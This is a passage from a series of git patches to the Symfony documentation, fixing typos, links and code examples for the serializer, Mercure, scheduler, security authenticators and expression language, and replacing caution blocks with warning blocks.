-* `While serializing/deserializing <Pass Context while Serializing/Deserializing>`_
-* `For a specific property <Configure Context on a Specific Property>`_
+* :ref:`Globally through the framework configuration <serializer-default-context>`
+* :ref:`While serializing/deserializing <serializer-context-while-serializing-deserializing>`
+* :ref:`For a specific property <serializer-using-context-builders>`
 
 You can use all three options at the same time. When the same setting is
 configured in multiple places, the latter in the list above will override
@@ -363,6 +363,8 @@ instance to disallow extra fields while deserializing:
         ];
         $serializer = new Serializer($normalizers, $encoders);
 
+.. _serializer-context-while-serializing-deserializing:
+
 Pass Context while Serializing/Deserializing
 ............................................
 
@@ -1482,7 +1484,7 @@ Debugging the Serializer
 
 .. versionadded:: 6.3
 
-    The debug:serializer`` command was introduced in Symfony 6.3.
+    The ``debug:serializer`` command was introduced in Symfony 6.3.
 
 Use the ``debug:serializer`` command to dump the serializer metadata of a
 given class:
@@ -1969,7 +1971,7 @@ these type names to the real PHP class name when deserializing:
         </serializer>
 
 With the discriminator map configured, the serializer can now pick the
-correct class for properties typed as `InvoiceItemInterface`::
+correct class for properties typed as ``InvoiceItemInterface``::
 
 .. configuration-block::
 

From ec2743dd19e580971b8707eff6a66edcdf9f10a2 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Tue, 3 Dec 2024 12:05:33 +0100
Subject: [PATCH 6539/7107] [HttpFoundation] Do not use named parameters in
 example

---
 components/http_foundation.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 4dcf3b1e4da..c91ec5ced8f 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -367,11 +367,13 @@ of the ``anonymize()`` method to specify the number of bytes that should be
 anonymized depending on the IP address format::
 
     $ipv4 = '123.234.235.236';
-    $anonymousIpv4 = IpUtils::anonymize($ipv4, v4Bytes: 3);
+    $anonymousIpv4 = IpUtils::anonymize($ipv4, 3);
     // $anonymousIpv4 = '123.0.0.0'
 
     $ipv6 = '2a01:198:603:10:396e:4789:8e99:890f';
-    $anonymousIpv6 = IpUtils::anonymize($ipv6, v6Bytes: 10);
+    // (you must define the second argument (bytes to anonymize in IPv4 addresses)
+    // even when you are only anonymizing IPv6 addresses)
+    $anonymousIpv6 = IpUtils::anonymize($ipv6, 3, 10);
     // $anonymousIpv6 = '2a01:198:603::'
 
 .. versionadded:: 7.2

From 521a7289ada85df4abc002663e08f0cf100e5fdc Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 7 Nov 2024 18:11:31 +0100
Subject: [PATCH 6540/7107] [Mercure] Shortening the screenshot description

---
 mercure.rst | 13 +++----------
 1 file changed, 3 insertions(+), 10 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index cd1fc658e63..9a11e0b8d3c 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -312,18 +312,12 @@ as patterns:
 
 .. tip::
 
-    Google Chrome DevTools natively integrate a `practical UI`_ displaying in live
-    the received events:
+    Google Chrome features a practical UI to display the received events:
 
     .. image:: /_images/mercure/chrome.png
         :alt: The Chrome DevTools showing the EventStream tab containing information about each SSE event.
 
-    To use it:
-
-    * open the DevTools
-    * select the "Network" tab
-    * click on the request to the Mercure hub
-    * click on the "EventStream" sub-tab.
+    In DevTools, select the "Network" tab, then click on the request to the Mercure hub, then on the "EventStream" sub-tab.
 
 Discovery
 ---------
@@ -676,7 +670,7 @@ sent:
         mercure.hub.default:
             class: App\Tests\Functional\Stub\HubStub
 
-As MercureBundle support multiple hubs, you may have to replace
+As MercureBundle supports multiple hubs, you may have to replace
 the other service definitions accordingly.
 
 .. tip::
@@ -766,7 +760,6 @@ Going further
 .. _`JSON Web Token`: https://tools.ietf.org/html/rfc7519
 .. _`example JWT`: https://jwt.io/#debugger-io?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJtZXJjdXJlIjp7InB1Ymxpc2giOlsiKiJdfX0.iHLdpAEjX4BqCsHJEegxRmO-Y6sMxXwNATrQyRNt3GY
 .. _`IRI`: https://tools.ietf.org/html/rfc3987
-.. _`practical UI`: https://twitter.com/ChromeDevTools/status/562324683194785792
 .. _`the dedicated API Platform documentation`: https://api-platform.com/docs/core/mercure/
 .. _`the online debugger`: https://uri-template-tester.mercure.rocks
 .. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket

From 5e60b342adbb63458dc1598470924bf92ce12c67 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 7 Nov 2024 18:57:32 +0100
Subject: [PATCH 6541/7107] Update mercure.rst: Deleting forgotten(?) sentence

Page: https://symfony.com/doc/5.x/mercure.html#debugging

Config instructions were added at https://github.com/symfony/symfony-docs/pull/12598 and later removed at https://github.com/symfony/symfony-docs/pull/15924

But I can't get the profiler to work. On which page am I supposed to open it? I guess on the one containing the JavaScript? (i.e. same page as I see the EventStrems in Chrome DevTools)?
What do I have to do to get this to work?
On the profiler page, the "Mercure" entry is always greyed out.
---
 mercure.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 9a11e0b8d3c..e05f9033876 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -684,8 +684,6 @@ Debugging
 
     The WebProfiler panel was introduced in MercureBundle 0.2.
 
-Enable the panel in your configuration, as follows:
-
 MercureBundle is shipped with a debug panel. Install the Debug pack to
 enable it::
 

From 0c9d0ac831135ab3bd6c73a32ea9f431d9e0cede Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 Dec 2024 16:09:21 +0100
Subject: [PATCH 6542/7107] [Security] Fix the namespace of a code example

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 3f3fb7d87de..8661263b90d 100644
--- a/security.rst
+++ b/security.rst
@@ -1767,7 +1767,7 @@ You can log in a user programmatically using the ``login()`` method of the
 :class:`Symfony\\Bundle\\SecurityBundle\\Security` helper::
 
     // src/Controller/SecurityController.php
-    namespace App\Controller\SecurityController;
+    namespace App\Controller;
 
     use App\Security\Authenticator\ExampleAuthenticator;
     use Symfony\Bundle\SecurityBundle\Security;

From 5bcde9cdbd04cdef21300506c0cc5bd21c23be12 Mon Sep 17 00:00:00 2001
From: moshkov-konstantin <k.moshkov@h1.marketing>
Date: Fri, 1 Nov 2024 18:33:23 +0300
Subject: [PATCH 6543/7107] Update asset_mapper.rst

---
 frontend/asset_mapper.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index ad5b78b5e13..435524a26ae 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -639,7 +639,7 @@ To make your AssetMapper-powered site fly, there are a few things you need to
 do. If you want to take a shortcut, you can use a service like `Cloudflare`_,
 which will automatically do most of these things for you:
 
-- **Use HTTP/2**: Your web server should be running HTTP/2 (or HTTP/3) so the
+- **Use HTTP/2**: Your web server should be running HTTP/2 or HTTP/3 so the
   browser can download assets in parallel. HTTP/2 is automatically enabled in Caddy
   and can be activated in Nginx and Apache. Or, proxy your site through a
   service like Cloudflare, which will automatically enable HTTP/2 for you.
@@ -647,7 +647,6 @@ which will automatically do most of these things for you:
 - **Compress your assets**: Your web server should compress (e.g. using gzip)
   your assets (JavaScript, CSS, images) before sending them to the browser. This
   is automatically enabled in Caddy and can be activated in Nginx and Apache.
-  In Cloudflare, assets are compressed by default.
 
 - **Set long-lived cache expiry**: Your web server should set a long-lived
   ``Cache-Control`` HTTP header on your assets. Because the AssetMapper component includes a version

From 36bef931ff4c6874687901eee70f3bb6463d49dd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 6 Dec 2024 08:35:15 +0100
Subject: [PATCH 6544/7107] Revert a change

---
 frontend/asset_mapper.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 435524a26ae..ebf1e5f8304 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -647,6 +647,7 @@ which will automatically do most of these things for you:
 - **Compress your assets**: Your web server should compress (e.g. using gzip)
   your assets (JavaScript, CSS, images) before sending them to the browser. This
   is automatically enabled in Caddy and can be activated in Nginx and Apache.
+  In Cloudflare, assets are compressed by default.
 
 - **Set long-lived cache expiry**: Your web server should set a long-lived
   ``Cache-Control`` HTTP header on your assets. Because the AssetMapper component includes a version

From a8841ee2472df97291395786dbdbf68d551db348 Mon Sep 17 00:00:00 2001
From: kl3sk <klesk44@gmail.com>
Date: Mon, 28 Oct 2024 12:27:32 +0100
Subject: [PATCH 6545/7107] Update Expression_language: lint function

The lint function doesn't return anything but exception.

Second arguments with Flags example is ommitted.

Update expression_language.rst

Removing `var_dump`, this make no sens here.

Update expression_language.rst

Sync with last commits

Update expression_language.rst

Change comment explication for "IGNORE_*" flags
---
 components/expression_language.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index 785beebd9da..7dacf581b14 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -106,6 +106,10 @@ if the expression is not valid::
 
     $expressionLanguage->lint('1 + 2', []); // doesn't throw anything
 
+    $expressionLanguage->lint('1 + a', []);
+    // Throw SyntaxError Exception
+    // "Variable "a" is not valid around position 5 for expression `1 + a`."
+
 The behavior of these methods can be configured with some flags defined in the
 :class:`Symfony\\Component\\ExpressionLanguage\\Parser` class:
 
@@ -121,8 +125,8 @@ This is how you can use these flags::
 
     $expressionLanguage = new ExpressionLanguage();
 
-    // this returns true because the unknown variables and functions are ignored
-    var_dump($expressionLanguage->lint('unknown_var + unknown_function()', Parser::IGNORE_UNKNOWN_VARIABLES | Parser::IGNORE_UNKNOWN_FUNCTIONS));
+    // Does not throw a SyntaxError because the unknown variables and functions are ignored
+    $expressionLanguage->lint('unknown_var + unknown_function()', [], Parser::IGNORE_UNKNOWN_VARIABLES | Parser::IGNORE_UNKNOWN_FUNCTIONS);
 
 .. versionadded:: 7.1
 

From 694cd4c081b693324a303930241ac04beca488d1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 6 Dec 2024 09:08:20 +0100
Subject: [PATCH 6546/7107] Minor tweaks

---
 components/expression_language.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index 7dacf581b14..b0dd10b0f42 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -107,7 +107,7 @@ if the expression is not valid::
     $expressionLanguage->lint('1 + 2', []); // doesn't throw anything
 
     $expressionLanguage->lint('1 + a', []);
-    // Throw SyntaxError Exception
+    // throws a SyntaxError exception:
     // "Variable "a" is not valid around position 5 for expression `1 + a`."
 
 The behavior of these methods can be configured with some flags defined in the
@@ -125,7 +125,7 @@ This is how you can use these flags::
 
     $expressionLanguage = new ExpressionLanguage();
 
-    // Does not throw a SyntaxError because the unknown variables and functions are ignored
+    // does not throw a SyntaxError because the unknown variables and functions are ignored
     $expressionLanguage->lint('unknown_var + unknown_function()', [], Parser::IGNORE_UNKNOWN_VARIABLES | Parser::IGNORE_UNKNOWN_FUNCTIONS);
 
 .. versionadded:: 7.1

From 236e419660b3b993e44e30c6afc3e1b4138855b3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Fri, 2 Aug 2024 20:04:34 +0200
Subject: [PATCH 6547/7107] [Security] Authenticator methods description

---
 security/custom_authenticator.rst | 27 +++++++++++++++------------
 1 file changed, 15 insertions(+), 12 deletions(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 9bf42a8748f..8b55af36cb8 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -153,22 +153,25 @@ or there was something wrong (e.g. incorrect password). The authenticator
 can define what happens in these cases:
 
 ``onAuthenticationSuccess(Request $request, TokenInterface $token, string $firewallName): ?Response``
-    If the user is authenticated, this method is called with the
-    authenticated ``$token``. This method can return a response (e.g.
-    redirect the user to some page).
+    If authentication is successful, this method is called with the
+    authenticated ``$token``.
 
-    If ``null`` is returned, the request continues like normal (i.e. the
-    controller matching the login route is called). This is useful for API
-    routes where each route is protected by an API key header.
+    This method can return a response (e.g. redirect the user to some page).
+
+    If ``null`` is returned, the current request will continue (and the
+    user will be authenticated). This is useful for API routes where each
+    route is protected by an API key header.
 
 ``onAuthenticationFailure(Request $request, AuthenticationException $exception): ?Response``
-    If an ``AuthenticationException`` is thrown during authentication, the
-    process fails and this method is called. This method can return a
-    response (e.g. to return a 401 Unauthorized response in API routes).
+    If authentication failed (e. g. wrong username password), this method
+    is called with the ``AuthenticationException`` thrown.
+
+    This method can return a response (e.g. send a 401 Unauthorized in API
+    routes).
 
-    If ``null`` is returned, the request continues like normal. This is
-    useful for e.g. login forms, where the login controller is run again
-    with the login errors.
+    If ``null`` is returned, the request continues (but the user will **not**
+    be authenticated). This is useful for login forms, where the login
+    controller is run again with the login errors.
 
     If you're using :ref:`login throttling <security-login-throttling>`,
     you can check if ``$exception`` is an instance of

From e58460bbb5ce875496c429a1874aa237615a00fe Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 6 Dec 2024 10:01:26 +0100
Subject: [PATCH 6548/7107] [EventDispatcher] Fix the syntax of the Learn More
 list

---
 components/event_dispatcher.rst | 6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 83cead3d19c..8cd676dd5fe 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -476,11 +476,7 @@ with some other dispatchers:
 Learn More
 ----------
 
-.. toctree::
-    :maxdepth: 1
-
-    /components/event_dispatcher/generic_event
-
+* :doc:`/components/event_dispatcher/generic_event`
 * :ref:`The kernel.event_listener tag <dic-tags-kernel-event-listener>`
 * :ref:`The kernel.event_subscriber tag <dic-tags-kernel-event-subscriber>`
 

From 8f1912f7363d06281b053c42f2303642215ef936 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 8 Nov 2024 12:45:01 +0100
Subject: [PATCH 6549/7107] Update mercure.rst: Actually using the env vars

Page: https://symfony.com/doc/5.x/mercure.html#configuration

Reason: The above paragraph explains how to set all those vars in `.env`, but then the code sample didn't use it ;-)
---
 mercure.rst | 33 ++++++++++++++++++---------------
 1 file changed, 18 insertions(+), 15 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index e05f9033876..58ffdde9182 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -130,11 +130,12 @@ MercureBundle provides a more advanced configuration:
         mercure:
             hubs:
                 default:
-                    url: https://mercure-hub.example.com/.well-known/mercure
+                    url: '%env(string:MERCURE_URL)%'
+                    public_url: '%env(string:MERCURE_PUBLIC_URL)%'
                     jwt:
-                        secret: '!ChangeThisMercureHubJWTSecretKey!'
-                        publish: ['foo', 'https://example.com/foo']
-                        subscribe: ['bar', 'https://example.com/bar']
+                        secret: '%env(string:MERCURE_JWT_SECRET)%'
+                        publish: ['https://example.com/foo1', 'https://example.com/foo2']
+                        subscribe: ['https://example.com/bar1', 'https://example.com/bar2']
                         algorithm: 'hmac.sha256'
                         provider: 'My\Provider'
                         factory: 'My\Factory'
@@ -147,19 +148,20 @@ MercureBundle provides a more advanced configuration:
         <config>
             <hub
                 name="default"
-                url="https://mercure-hub.example.com/.well-known/mercure"
-            >
+                url="%env(string:MERCURE_URL)%"
+                public_url="%env(string:MERCURE_PUBLIC_URL)%"
+            > <!-- public_url defaults to url -->
                 <jwt
-                    secret="!ChangeThisMercureHubJWTSecretKey!"
+                    secret="%env(string:MERCURE_JWT_SECRET)%"
                     algorithm="hmac.sha256"
                     provider="My\Provider"
                     factory="My\Factory"
                     value="my.jwt"
                 >
-                    <publish>foo</publish>
-                    <publish>https://example.com/foo</publish>
-                    <subscribe>bar</subscribe>
-                    <subscribe>https://example.com/bar</subscribe>
+                    <publish>https://example.com/foo1</publish>
+                    <publish>https://example.com/foo2</publish>
+                    <subscribe>https://example.com/bar1</subscribe>
+                    <subscribe>https://example.com/bar2</subscribe>
                 </jwt>
             </hub>
         </config>
@@ -170,11 +172,12 @@ MercureBundle provides a more advanced configuration:
         $container->loadFromExtension('mercure', [
             'hubs' => [
                 'default' => [
-                    'url' => 'https://mercure-hub.example.com/.well-known/mercure',
+                    'url' => '%env(string:MERCURE_URL)%',
+                    'public_url' => '%env(string:MERCURE_PUBLIC_URL)%',
                     'jwt' => [
-                        'secret' => '!ChangeThisMercureHubJWTSecretKey!',
-                        'publish' => ['foo', 'https://example.com/foo'],
-                        'subscribe' => ['bar', 'https://example.com/bar'],
+                        'secret' => '%env(string:MERCURE_JWT_SECRET)%',
+                        'publish' => ['https://example.com/foo1', 'https://example.com/foo2'],
+                        'subscribe' => ['https://example.com/bar1', 'https://example.com/bar2'],
                         'algorithm' => 'hmac.sha256',
                         'provider' => 'My\Provider',
                         'factory' => 'My\Factory',

From a984be5bb36e22ebf279b68c36fb0745821a72da Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Fri, 6 Dec 2024 18:29:01 +0100
Subject: [PATCH 6550/7107] fix: remove quotes on routes

---
 routing.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index d0c89f1f403..02e5809cddb 100644
--- a/routing.rst
+++ b/routing.rst
@@ -302,7 +302,7 @@ arbitrary matching logic:
         # config/routes.yaml
         contact:
             path:       /contact
-            controller: 'App\Controller\DefaultController::contact'
+            controller: App\Controller\DefaultController::contact
             condition:  "context.getMethod() in ['GET', 'HEAD'] and request.headers.get('User-Agent') matches '/firefox/i'"
             # expressions can also include configuration parameters:
             # condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'"
@@ -311,7 +311,7 @@ arbitrary matching logic:
 
         post_show:
             path:       /posts/{id}
-            controller: 'App\Controller\DefaultController::showPost'
+            controller: App\Controller\DefaultController::showPost
             # expressions can retrieve route parameter values using the "params" variable
             condition:  "params['id'] < 1000"
 

From 38b721ec40cc2ff2ff37bbd93014fcbfe3690255 Mon Sep 17 00:00:00 2001
From: dearaujoj <jderaujo@ozkasuma.fr>
Date: Sat, 7 Dec 2024 10:37:45 +0100
Subject: [PATCH 6551/7107] Fix typo

"seperate" should be "separate" in the text: "the process in two seperate responsibilities"
---
 serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer.rst b/serializer.rst
index 6cb0a564f3a..72c6dad40ba 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -238,7 +238,7 @@ The serializer uses a two-step process when (de)serializing objects:
     ></object>
 
 In both directions, data is always first converted to an array. This splits
-the process in two seperate responsibilities:
+the process in two separate responsibilities:
 
 Normalizers
     These classes convert **objects** into **arrays** and vice versa. They

From f58f1ebfa747a4aa900710abed46b0563f55fb76 Mon Sep 17 00:00:00 2001
From: Tim Goudriaan <tim@codedmonkey.com>
Date: Sat, 7 Dec 2024 11:53:08 +0100
Subject: [PATCH 6552/7107] [Scheduler] Periodical triggers timing

---
 scheduler.rst | 31 +++++++++++++++++++++++++++----
 1 file changed, 27 insertions(+), 4 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 160ba26e0cb..9407b85e57f 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -286,14 +286,37 @@ defined by PHP datetime functions::
     RecurringMessage::every('3 weeks', new Message());
     RecurringMessage::every('first Monday of next month', new Message());
 
-    $from = new \DateTimeImmutable('13:47', new \DateTimeZone('Europe/Paris'));
-    $until = '2023-06-12';
-    RecurringMessage::every('first Monday of next month', new Message(), $from, $until);
-
 .. tip::
 
     You can also define periodic tasks using :ref:`the AsPeriodicTask attribute <scheduler-attributes-periodic-task>`.
 
+Be aware that the message isn't passed to the messenger when you start the
+scheduler. The message will only be executed after the first frequency period
+has passed.
+
+It's also possible to pass a from and until time for your schedule. For
+example, if you want to execute a command every day at 13:00::
+
+    $from = new \DateTimeImmutable('13:00', new \DateTimeZone('Europe/Paris'));
+    RecurringMessage::every('1 day', new Message(), from: $from);
+
+Or if you want to execute a message every day until a specific date::
+
+    $until = '2023-06-12';
+    RecurringMessage::every('1 day', new Message(), until: $until);
+
+And you can even combine the from and until parameters for more granular
+control::
+
+    $from = new \DateTimeImmutable('2023-01-01 13:47', new \DateTimeZone('Europe/Paris'));
+    $until = '2023-06-12';
+    RecurringMessage::every('first Monday of next month', new Message(), from: $from, until: $until);
+
+If you don't pass a from parameter to your schedule, the first frequency period
+is counted from the moment the scheduler is started. So if you start your
+scheduler at 8:33 and the message is scheduled to perform every hour, it
+will be executed at 9:33, 10:33, 11:33 and so on.
+
 Custom Triggers
 ~~~~~~~~~~~~~~~
 

From 3849004fcc56c63ced8441d0870e34137b5ab4b5 Mon Sep 17 00:00:00 2001
From: Timo Bakx <github@timobakx.dev>
Date: Sat, 7 Dec 2024 11:38:23 +0100
Subject: [PATCH 6553/7107] Replaced caution blocks with warning

Fixes #20371

Both blocks are currently rendered identically. Keeping only one of the two makes it easier to contribute.

Some blocks were elevated to danger.
---
 .doctor-rst.yaml                              |  1 +
 bundles.rst                                   |  6 +--
 bundles/best_practices.rst                    |  2 +-
 bundles/extension.rst                         |  2 +-
 bundles/override.rst                          |  2 +-
 cache.rst                                     |  2 +-
 components/cache/adapters/apcu_adapter.rst    |  4 +-
 .../adapters/couchbasebucket_adapter.rst      |  2 +-
 .../adapters/couchbasecollection_adapter.rst  |  2 +-
 .../cache/adapters/filesystem_adapter.rst     |  2 +-
 .../cache/adapters/memcached_adapter.rst      |  4 +-
 .../cache/adapters/php_files_adapter.rst      |  2 +-
 components/cache/adapters/redis_adapter.rst   |  2 +-
 components/config/definition.rst              |  4 +-
 .../console/changing_default_command.rst      |  2 +-
 components/console/events.rst                 |  2 +-
 components/console/helpers/progressbar.rst    |  2 +-
 components/console/helpers/questionhelper.rst |  6 +--
 components/finder.rst                         |  2 +-
 components/form.rst                           |  2 +-
 components/http_kernel.rst                    |  2 +-
 components/ldap.rst                           |  2 +-
 components/lock.rst                           | 38 +++++++++----------
 components/options_resolver.rst               |  4 +-
 components/phpunit_bridge.rst                 |  2 +-
 components/process.rst                        |  4 +-
 components/property_access.rst                |  6 +--
 components/runtime.rst                        |  2 +-
 components/uid.rst                            |  4 +-
 components/validator/resources.rst            |  2 +-
 configuration.rst                             |  6 +--
 configuration/env_var_processors.rst          |  2 +-
 configuration/multiple_kernels.rst            |  2 +-
 configuration/override_dir_structure.rst      |  2 +-
 console.rst                                   | 10 ++---
 console/calling_commands.rst                  |  2 +-
 console/command_in_controller.rst             |  2 +-
 console/commands_as_services.rst              |  4 +-
 console/input.rst                             |  2 +-
 contributing/code/bc.rst                      |  8 ++--
 contributing/code/bugs.rst                    |  2 +-
 contributing/documentation/format.rst         |  2 +-
 contributing/documentation/standards.rst      |  2 +-
 deployment.rst                                |  2 +-
 deployment/proxies.rst                        |  2 +-
 doctrine.rst                                  |  6 +--
 doctrine/custom_dql_functions.rst             |  2 +-
 doctrine/multiple_entity_managers.rst         |  6 +--
 doctrine/reverse_engineering.rst              |  2 +-
 form/bootstrap5.rst                           |  6 +--
 form/create_custom_field_type.rst             |  2 +-
 form/data_mappers.rst                         |  4 +-
 form/data_transformers.rst                    |  6 +--
 form/direct_submit.rst                        |  2 +-
 form/events.rst                               |  4 +-
 form/form_collections.rst                     |  6 +--
 form/form_customization.rst                   |  4 +-
 form/form_themes.rst                          |  2 +-
 form/inherit_data_option.rst                  |  2 +-
 form/type_guesser.rst                         |  2 +-
 form/unit_testing.rst                         |  4 +-
 form/without_class.rst                        |  2 +-
 forms.rst                                     |  2 +-
 frontend/asset_mapper.rst                     |  2 +-
 frontend/encore/installation.rst              |  2 +-
 frontend/encore/simple-example.rst            |  4 +-
 frontend/encore/virtual-machine.rst           |  4 +-
 http_cache/cache_invalidation.rst             |  2 +-
 http_cache/esi.rst                            |  2 +-
 http_client.rst                               |  2 +-
 lock.rst                                      |  2 +-
 logging/channels_handlers.rst                 |  2 +-
 logging/monolog_exclude_http_codes.rst        |  2 +-
 mailer.rst                                    | 16 ++++----
 mercure.rst                                   |  2 +-
 messenger.rst                                 | 12 +++---
 notifier.rst                                  |  8 ++--
 profiler.rst                                  |  4 +-
 reference/configuration/framework.rst         |  2 +-
 reference/configuration/web_profiler.rst      |  2 +-
 reference/constraints/Callback.rst            |  2 +-
 reference/constraints/EqualTo.rst             |  2 +-
 reference/constraints/File.rst                |  2 +-
 reference/constraints/IdenticalTo.rst         |  2 +-
 reference/constraints/NotEqualTo.rst          |  2 +-
 reference/constraints/NotIdenticalTo.rst      |  2 +-
 reference/constraints/UniqueEntity.rst        |  6 +--
 reference/dic_tags.rst                        |  2 +-
 reference/formats/expression_language.rst     |  2 +-
 reference/formats/message_format.rst          |  2 +-
 reference/forms/types/choice.rst              |  2 +-
 reference/forms/types/collection.rst          |  6 +--
 reference/forms/types/country.rst             |  2 +-
 reference/forms/types/currency.rst            |  2 +-
 reference/forms/types/date.rst                |  2 +-
 reference/forms/types/dateinterval.rst        |  4 +-
 reference/forms/types/entity.rst              |  2 +-
 reference/forms/types/language.rst            |  2 +-
 reference/forms/types/locale.rst              |  2 +-
 reference/forms/types/money.rst               |  5 ++-
 .../types/options/_date_limitation.rst.inc    |  2 +-
 .../forms/types/options/choice_name.rst.inc   |  2 +-
 reference/forms/types/options/data.rst.inc    |  2 +-
 .../options/empty_data_description.rst.inc    |  2 +-
 .../forms/types/options/inherit_data.rst.inc  |  2 +-
 reference/forms/types/options/value.rst.inc   |  2 +-
 reference/forms/types/password.rst            |  2 +-
 reference/forms/types/textarea.rst            |  2 +-
 reference/forms/types/time.rst                |  6 +--
 reference/forms/types/timezone.rst            |  2 +-
 routing.rst                                   | 10 ++---
 security.rst                                  |  4 +-
 security/access_control.rst                   |  6 +--
 security/access_token.rst                     |  4 +-
 security/impersonating_user.rst               |  2 +-
 security/ldap.rst                             |  4 +-
 security/login_link.rst                       |  2 +-
 security/passwords.rst                        |  2 +-
 security/user_providers.rst                   |  2 +-
 security/voters.rst                           |  2 +-
 serializer.rst                                |  2 +-
 service_container.rst                         |  4 +-
 service_container/definitions.rst             |  4 +-
 service_container/lazy_services.rst           |  2 +-
 service_container/service_decoration.rst      |  2 +-
 .../service_subscribers_locators.rst          |  2 +-
 service_container/tags.rst                    |  2 +-
 session.rst                                   |  4 +-
 setup/_update_all_packages.rst.inc            |  2 +-
 setup/file_permissions.rst                    |  8 ++--
 setup/symfony_server.rst                      |  8 ++--
 setup/upgrade_major.rst                       |  2 +-
 setup/web_server_configuration.rst            |  2 +-
 templates.rst                                 |  4 +-
 testing.rst                                   |  4 +-
 testing/end_to_end.rst                        |  2 +-
 testing/http_authentication.rst               |  2 +-
 testing/insulating_clients.rst                |  2 +-
 translation.rst                               |  8 ++--
 validation.rst                                |  2 +-
 validation/groups.rst                         |  2 +-
 validation/sequence_provider.rst              |  4 +-
 workflow.rst                                  |  2 +-
 143 files changed, 248 insertions(+), 246 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 7bce99e69a1..f78b5c21ec9 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -23,6 +23,7 @@ rules:
     forbidden_directives:
         directives:
             - '.. index::'
+            - '.. caution::'
     indention: ~
     lowercase_as_in_use_statements: ~
     max_blank_lines:
diff --git a/bundles.rst b/bundles.rst
index ac02fff4ff0..4240b060012 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -3,7 +3,7 @@
 The Bundle System
 =================
 
-.. caution::
+.. warning::
 
     In Symfony versions prior to 4.0, it was recommended to organize your own
     application code using bundles. This is :ref:`no longer recommended <best-practice-no-application-bundles>` and bundles
@@ -63,7 +63,7 @@ Start by creating a new class called ``AcmeBlogBundle``::
     The :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle` was
     introduced in Symfony 6.1.
 
-.. caution::
+.. warning::
 
     If your bundle must be compatible with previous Symfony versions you have to
     extend from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\Bundle` instead.
@@ -123,7 +123,7 @@ to be adjusted if needed:
 
 .. _bundles-legacy-directory-structure:
 
-.. caution::
+.. warning::
 
     The recommended bundle structure was changed in Symfony 5, read the
     `Symfony 4.4 bundle documentation`_ for information about the old
diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 5996bcbe43d..376984388db 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -246,7 +246,7 @@ with Symfony Flex to install a specific Symfony version:
     # recommended to have a better output and faster download time)
     composer update --prefer-dist --no-progress
 
-.. caution::
+.. warning::
 
     If you want to cache your Composer dependencies, **do not** cache the
     ``vendor/`` directory as this has side-effects. Instead cache
diff --git a/bundles/extension.rst b/bundles/extension.rst
index 6b87572a6de..23318590166 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -204,7 +204,7 @@ Patterns are transformed into the actual class namespaces using the classmap
 generated by Composer. Therefore, before using these patterns, you must generate
 the full classmap executing the ``dump-autoload`` command of Composer.
 
-.. caution::
+.. warning::
 
     This technique can't be used when the classes to compile use the ``__DIR__``
